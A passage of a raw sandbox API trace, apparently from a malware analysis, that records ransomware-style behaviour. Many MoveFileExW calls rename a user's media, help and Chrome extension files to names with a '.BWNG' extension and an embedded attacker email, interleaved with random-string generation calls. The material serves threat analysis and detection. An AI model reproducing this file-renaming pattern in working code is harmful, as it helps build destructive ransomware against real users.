lpPerformanceCount=0x37cfe3c*=27591576744) returned 1 [0133.964] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\Windows Live\\Windows Live Mail.url" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\favorites\\windows live\\windows live mail.url"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\Windows Live\\[billwong73@yahoo.com].FIzCyjMo-mSRMVOyG.BWNG" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\favorites\\windows live\\[billwong73@yahoo.com].fizcyjmo-msrmvoyg.bwng"), dwFlags=0x1) returned 1 [0133.965] GetTickCount () returned 0x1168ee8 [0133.965] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=27591707781) returned 1 [0133.965] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\54KG.wav" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\54kg.wav"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\[billwong73@yahoo.com].rMXxVURR-TfIV6100.BWNG" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\[billwong73@yahoo.com].rmxxvurr-tfiv6100.bwng"), dwFlags=0x1) returned 1 [0133.966] GetTickCount () returned 0x1168ee8 [0133.966] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=27591839989) returned 1 [0133.966] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\guFtxu-xk.m4a" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\guftxu-xk.m4a"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\[billwong73@yahoo.com].harxwi7f-CBkSFkIg.BWNG" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\[billwong73@yahoo.com].harxwi7f-cbksfkig.bwng"), dwFlags=0x1) returned 1 [0133.968] GetTickCount () returned 0x1168ee8 [0133.968] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=27591994432) returned 1 [0133.968] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\Qzk96-GvLxTgPBAO5.mp3" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\qzk96-gvlxtgpbao5.mp3"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\[billwong73@yahoo.com].DvPShqtZ-JjxQpi9V.BWNG" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\[billwong73@yahoo.com].dvpshqtz-jjxqpi9v.bwng"), dwFlags=0x1) returned 1 [0133.969] GetTickCount () returned 0x1168ee8 [0133.969] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=27592119107) returned 1 [0133.969] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\y IjAzywjdSazYajM.m4a" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\y ijazywjdsazyajm.m4a"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\[billwong73@yahoo.com].k4Ok8EuR-zrjmzfWr.BWNG" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\[billwong73@yahoo.com].k4ok8eur-zrjmzfwr.bwng"), dwFlags=0x1) returned 1 [0133.970] GetTickCount () returned 0x1168ee8 [0133.970] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=27592258405) returned 1 [0133.971] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\FBwe\\cfFxE7fUefpi5.gif" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\fbwe\\cffxe7fuefpi5.gif"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\FBwe\\[billwong73@yahoo.com].y9HMCUxU-iAU3a6Il.BWNG" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\fbwe\\[billwong73@yahoo.com].y9hmcuxu-iau3a6il.bwng"), dwFlags=0x1) returned 1 [0133.972] GetTickCount () returned 0x1168ee8 [0133.972] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=27592396197) returned 1 [0133.972] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\NQ9coU\\miHVdV.gif" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\nq9cou\\mihvdv.gif"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\NQ9coU\\[billwong73@yahoo.com].2ixhdaDb-HELFyaWx.BWNG" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\nq9cou\\[billwong73@yahoo.com].2ixhdadb-helfyawx.bwng"), dwFlags=0x1) returned 1 [0134.103] GetTickCount () returned 0x1168f74 [0134.103] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=27605531886) returned 1 [0134.104] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\3EpTWn7VYFZ8rE.flv" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\3eptwn7vyfz8re.flv"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\[billwong73@yahoo.com].e060ImmK-kNFfCiSO.BWNG" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\[billwong73@yahoo.com].e060immk-knffciso.bwng"), dwFlags=0x1) returned 1 [0134.105] GetTickCount () returned 0x1168f74 [0134.105] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=27605745587) returned 1 [0134.106] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\nv eWcTz.flv" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\nv ewctz.flv"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\[billwong73@yahoo.com].uecL1lUf-6j0VbrfG.BWNG" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\[billwong73@yahoo.com].uecl1luf-6j0vbrfg.bwng"), dwFlags=0x1) returned 1 [0134.107] GetTickCount () returned 0x1168f74 [0134.107] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=27605907233) returned 1 [0134.107] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\QXKck1G4fFrIbqKfN\\n6_563PNM RXw 1k.swf" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\qxkck1g4ffribqkfn\\n6_563pnm rxw 1k.swf"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\QXKck1G4fFrIbqKfN\\[billwong73@yahoo.com].yOk5K5LS-HmpinIj1.BWNG" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\qxkck1g4ffribqkfn\\[billwong73@yahoo.com].yok5k5ls-hmpinij1.bwng"), dwFlags=0x1) returned 1 [0134.108] GetTickCount () returned 0x1168f74 [0134.108] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=27606062474) returned 1 [0134.109] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\y4kMgbm5POuiAP\\gZtZ7AObmufxa436Obht.mkv" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\y4kmgbm5pouiap\\gztz7aobmufxa436obht.mkv"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\y4kMgbm5POuiAP\\[billwong73@yahoo.com].P757uKgu-KPUiS5Qi.BWNG" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\y4kmgbm5pouiap\\[billwong73@yahoo.com].p757ukgu-kpuis5qi.bwng"), dwFlags=0x1) returned 1 [0134.110] GetTickCount () returned 0x1168f74 [0134.110] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=27606202745) returned 1 [0134.110] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\Ym9ROKphfODHP.mkv" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\ym9rokphfodhp.mkv"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\[billwong73@yahoo.com].OPhA6yWC-OWYEPEIf.BWNG" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\[billwong73@yahoo.com].opha6ywc-owyepeif.bwng"), dwFlags=0x1) returned 1 [0134.111] GetTickCount () returned 0x1168f74 [0134.111] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=27606350498) returned 1 [0134.112] MoveFileExW (lpExistingFileName="C:\\Users\\All Users\\Microsoft\\Assistance\\Client\\1.0\\en-US\\Help{9DAA54E8-CD95-4107-8E7F-BA3F24732D95}.H1Q" (normalized: "c:\\users\\all users\\microsoft\\assistance\\client\\1.0\\en-us\\help{9daa54e8-cd95-4107-8e7f-ba3f24732d95}.h1q"), lpNewFileName="C:\\Users\\All Users\\Microsoft\\Assistance\\Client\\1.0\\en-US\\[billwong73@yahoo.com].NThC0FkC-tLK87XsU.BWNG" (normalized: "c:\\users\\all users\\microsoft\\assistance\\client\\1.0\\en-us\\[billwong73@yahoo.com].nthc0fkc-tlk87xsu.bwng"), dwFlags=0x1) returned 1 [0134.113] GetTickCount () returned 0x1168f74 [0134.113] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=27606558145) returned 1 [0134.114] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x37cfe18, cbMultiByte=1, lpWideCharStr=0x37cee00, cchWideChar=2047 | out: lpWideCharStr="m") returned 1 [0134.114] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x37cfe18, cbMultiByte=1, lpWideCharStr=0x37cee00, cchWideChar=2047 | out: lpWideCharStr="K") returned 1 [0134.114] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x37cfe18, cbMultiByte=1, lpWideCharStr=0x37cee00, cchWideChar=2047 | out: lpWideCharStr="m") returned 1 [0134.114] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x37cfe18, cbMultiByte=1, lpWideCharStr=0x37cee00, cchWideChar=2047 | out: lpWideCharStr="h") returned 1 [0134.114] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x37cfe18, cbMultiByte=1, lpWideCharStr=0x37cee00, cchWideChar=2047 | out: lpWideCharStr="7") returned 1 [0134.114] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x37cfe18, cbMultiByte=1, lpWideCharStr=0x37cee00, cchWideChar=2047 | out: lpWideCharStr="C") returned 1 [0134.114] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x37cfe18, cbMultiByte=1, lpWideCharStr=0x37cee00, cchWideChar=2047 | out: lpWideCharStr="f") returned 1 [0134.114] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x37cfe18, cbMultiByte=1, lpWideCharStr=0x37cee00, cchWideChar=2047 | out: lpWideCharStr="S") returned 1 [0134.114] GetTickCount () returned 0x1168f84 [0134.114] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe34 | out: lpPerformanceCount=0x37cfe34*=27606604808) returned 1 [0134.114] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x37cfe10, cbMultiByte=1, lpWideCharStr=0x37cedf8, cchWideChar=2047 | out: lpWideCharStr="A") returned 1 [0134.114] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x37cfe10, cbMultiByte=1, lpWideCharStr=0x37cedf8, cchWideChar=2047 | out: lpWideCharStr="g") returned 1 [0134.114] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x37cfe10, cbMultiByte=1, lpWideCharStr=0x37cedf8, cchWideChar=2047 | out: lpWideCharStr="A") returned 1 [0134.114] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x37cfe10, cbMultiByte=1, lpWideCharStr=0x37cedf8, cchWideChar=2047 | out: lpWideCharStr="n") returned 1 [0134.114] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x37cfe10, cbMultiByte=1, lpWideCharStr=0x37cedf8, cchWideChar=2047 | out: lpWideCharStr="R") returned 1 [0134.114] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x37cfe10, cbMultiByte=1, lpWideCharStr=0x37cedf8, cchWideChar=2047 | out: lpWideCharStr="P") returned 1 [0134.114] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x37cfe10, cbMultiByte=1, lpWideCharStr=0x37cedf8, cchWideChar=2047 | out: lpWideCharStr="F") returned 1 [0134.114] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x37cfe10, cbMultiByte=1, lpWideCharStr=0x37cedf8, cchWideChar=2047 | out: lpWideCharStr="K") returned 1 [0134.114] MoveFileExW (lpExistingFileName="C:\\Users\\All Users\\Microsoft\\Assistance\\Client\\1.0\\en-US\\Help_CValidator.H1D" (normalized: "c:\\users\\all users\\microsoft\\assistance\\client\\1.0\\en-us\\help_cvalidator.h1d"), lpNewFileName="C:\\Users\\All Users\\Microsoft\\Assistance\\Client\\1.0\\en-US\\[billwong73@yahoo.com].mKmh7CfS-AgAnRPFK.BWNG" (normalized: "c:\\users\\all users\\microsoft\\assistance\\client\\1.0\\en-us\\[billwong73@yahoo.com].mkmh7cfs-aganrpfk.bwng"), dwFlags=0x1) returned 1 [0134.115] GetTickCount () returned 0x1168f84 [0134.115] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=27606735154) returned 1 [0134.115] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x37cfe18, cbMultiByte=1, lpWideCharStr=0x37cee00, cchWideChar=2047 | out: lpWideCharStr="o") returned 1 [0134.115] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x37cfe18, cbMultiByte=1, lpWideCharStr=0x37cee00, cchWideChar=2047 | out: lpWideCharStr="y") returned 1 [0134.115] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x37cfe18, cbMultiByte=1, lpWideCharStr=0x37cee00, cchWideChar=2047 | out: lpWideCharStr="u") returned 1 [0134.115] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x37cfe18, cbMultiByte=1, lpWideCharStr=0x37cee00, cchWideChar=2047 | out: lpWideCharStr="h") returned 1 [0134.115] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x37cfe18, cbMultiByte=1, lpWideCharStr=0x37cee00, cchWideChar=2047 | out: lpWideCharStr="5") returned 1 [0134.115] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x37cfe18, cbMultiByte=1, lpWideCharStr=0x37cee00, cchWideChar=2047 | out: lpWideCharStr="a") returned 1 [0134.115] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x37cfe18, cbMultiByte=1, lpWideCharStr=0x37cee00, cchWideChar=2047 | out: lpWideCharStr="h") returned 1 [0134.115] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x37cfe18, cbMultiByte=1, lpWideCharStr=0x37cee00, cchWideChar=2047 | out: lpWideCharStr="r") returned 1 [0134.115] GetTickCount () returned 0x1168f84 [0134.115] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe34 | out: lpPerformanceCount=0x37cfe34*=27606766720) returned 1 [0134.115] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x37cfe10, cbMultiByte=1, lpWideCharStr=0x37cedf8, cchWideChar=2047 | out: lpWideCharStr="R") returned 1 [0134.116] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x37cfe10, cbMultiByte=1, lpWideCharStr=0x37cedf8, cchWideChar=2047 | out: lpWideCharStr="o") returned 1 [0134.116] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x37cfe10, cbMultiByte=1, lpWideCharStr=0x37cedf8, cchWideChar=2047 | out: lpWideCharStr="S") returned 1 [0134.116] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x37cfe10, cbMultiByte=1, lpWideCharStr=0x37cedf8, cchWideChar=2047 | out: lpWideCharStr="Y") returned 1 [0134.116] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x37cfe10, cbMultiByte=1, lpWideCharStr=0x37cedf8, cchWideChar=2047 | out: lpWideCharStr="K") returned 1 [0134.116] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x37cfe10, cbMultiByte=1, lpWideCharStr=0x37cedf8, cchWideChar=2047 | out: lpWideCharStr="2") returned 1 [0134.116] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x37cfe10, cbMultiByte=1, lpWideCharStr=0x37cedf8, cchWideChar=2047 | out: lpWideCharStr="d") returned 1 [0134.116] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x37cfe10, cbMultiByte=1, lpWideCharStr=0x37cedf8, cchWideChar=2047 | out: lpWideCharStr="A") returned 1 [0134.116] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\feedback.css" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\feedback.css"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\[billwong73@yahoo.com].oyuh5ahr-RoSYK2dA.BWNG" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\[billwong73@yahoo.com].oyuh5ahr-rosyk2da.bwng"), dwFlags=0x1) returned 1 [0134.117] GetTickCount () returned 0x1168f84 [0134.117] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=27606921473) returned 1 [0134.117] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x37cfe18, cbMultiByte=1, lpWideCharStr=0x37cee00, cchWideChar=2047 | out: lpWideCharStr="O") returned 1 [0134.117] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x37cfe18, cbMultiByte=1, lpWideCharStr=0x37cee00, cchWideChar=2047 | out: lpWideCharStr="U") returned 1 [0134.117] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x37cfe18, cbMultiByte=1, lpWideCharStr=0x37cee00, cchWideChar=2047 | out: lpWideCharStr="x") returned 1 [0134.117] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x37cfe18, cbMultiByte=1, lpWideCharStr=0x37cee00, cchWideChar=2047 | out: lpWideCharStr="2") returned 1 [0134.117] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x37cfe18, cbMultiByte=1, lpWideCharStr=0x37cee00, cchWideChar=2047 | out: lpWideCharStr="j") returned 1 [0134.117] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x37cfe18, cbMultiByte=1, lpWideCharStr=0x37cee00, cchWideChar=2047 | out: lpWideCharStr="E") returned 1 [0134.117] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x37cfe18, cbMultiByte=1, lpWideCharStr=0x37cee00, cchWideChar=2047 | out: lpWideCharStr="G") returned 1 [0134.117] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x37cfe18, cbMultiByte=1, lpWideCharStr=0x37cee00, cchWideChar=2047 | out: lpWideCharStr="X") returned 1 [0134.117] GetTickCount () returned 0x1168f84 [0134.117] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe34 | out: lpPerformanceCount=0x37cfe34*=27606953066) returned 1 [0134.117] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x37cfe10, cbMultiByte=1, lpWideCharStr=0x37cedf8, cchWideChar=2047 | out: lpWideCharStr="K") returned 1 [0134.117] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x37cfe10, cbMultiByte=1, lpWideCharStr=0x37cedf8, cchWideChar=2047 | out: lpWideCharStr="r") returned 1 [0134.117] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x37cfe10, cbMultiByte=1, lpWideCharStr=0x37cedf8, cchWideChar=2047 | out: lpWideCharStr="H") returned 1 [0134.117] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x37cfe10, cbMultiByte=1, lpWideCharStr=0x37cedf8, cchWideChar=2047 | out: lpWideCharStr="V") returned 1 [0134.117] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x37cfe10, cbMultiByte=1, lpWideCharStr=0x37cedf8, cchWideChar=2047 | out: lpWideCharStr="4") returned 1 [0134.118] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x37cfe10, cbMultiByte=1, lpWideCharStr=0x37cedf8, cchWideChar=2047 | out: lpWideCharStr="S") returned 1 [0134.118] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x37cfe10, cbMultiByte=1, lpWideCharStr=0x37cedf8, cchWideChar=2047 | out: lpWideCharStr="1") returned 1 [0134.118] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x37cfe10, cbMultiByte=1, lpWideCharStr=0x37cedf8, cchWideChar=2047 | out: lpWideCharStr="s") returned 1 [0134.118] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\ar\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\ar\\messages.json"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\ar\\[billwong73@yahoo.com].OUx2jEGX-KrHV4S1s.BWNG" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\ar\\[billwong73@yahoo.com].oux2jegx-krhv4s1s.bwng"), dwFlags=0x1) returned 1 [0134.119] GetTickCount () returned 0x1168f84 [0134.119] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=27607122617) returned 1 [0134.119] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x37cfe18, cbMultiByte=1, lpWideCharStr=0x37cee00, cchWideChar=2047 | out: lpWideCharStr="f") returned 1 [0134.119] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x37cfe18, cbMultiByte=1, lpWideCharStr=0x37cee00, cchWideChar=2047 | out: lpWideCharStr="D") returned 1 [0134.119] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x37cfe18, cbMultiByte=1, lpWideCharStr=0x37cee00, cchWideChar=2047 | out: lpWideCharStr="i") returned 1 [0134.119] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x37cfe18, cbMultiByte=1, lpWideCharStr=0x37cee00, cchWideChar=2047 | out: lpWideCharStr="M") returned 1 [0134.119] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x37cfe18, cbMultiByte=1, lpWideCharStr=0x37cee00, cchWideChar=2047 | out: lpWideCharStr="Z") returned 1 [0134.119] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x37cfe18, cbMultiByte=1, lpWideCharStr=0x37cee00, cchWideChar=2047 | out: lpWideCharStr="x") returned 1 [0134.119] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x37cfe18, cbMultiByte=1, lpWideCharStr=0x37cee00, cchWideChar=2047 | out: lpWideCharStr="X") returned 1 [0134.119] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x37cfe18, cbMultiByte=1, lpWideCharStr=0x37cee00, cchWideChar=2047 | out: lpWideCharStr="k") returned 1 [0134.119] GetTickCount () returned 0x1168f84 [0134.119] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe34 | out: lpPerformanceCount=0x37cfe34*=27607154492) returned 1 [0134.119] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x37cfe10, cbMultiByte=1, lpWideCharStr=0x37cedf8, cchWideChar=2047 | out: lpWideCharStr="C") returned 1 [0134.119] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x37cfe10, cbMultiByte=1, lpWideCharStr=0x37cedf8, cchWideChar=2047 | out: lpWideCharStr="X") returned 1 [0134.119] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x37cfe10, cbMultiByte=1, lpWideCharStr=0x37cedf8, cchWideChar=2047 | out: lpWideCharStr="d") returned 1 [0134.119] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x37cfe10, cbMultiByte=1, lpWideCharStr=0x37cedf8, cchWideChar=2047 | out: lpWideCharStr="K") returned 1 [0134.119] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x37cfe10, cbMultiByte=1, lpWideCharStr=0x37cedf8, cchWideChar=2047 | out: lpWideCharStr="H") returned 1 [0134.120] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x37cfe10, cbMultiByte=1, lpWideCharStr=0x37cedf8, cchWideChar=2047 | out: lpWideCharStr="C") returned 1 [0134.120] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x37cfe10, cbMultiByte=1, lpWideCharStr=0x37cedf8, cchWideChar=2047 | out: lpWideCharStr="v") returned 1 [0134.120] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x37cfe10, cbMultiByte=1, lpWideCharStr=0x37cedf8, cchWideChar=2047 | out: lpWideCharStr="M") returned 1 [0134.120] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\et\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\et\\messages.json"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\et\\[billwong73@yahoo.com].fDiMZxXk-CXdKHCvM.BWNG" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user 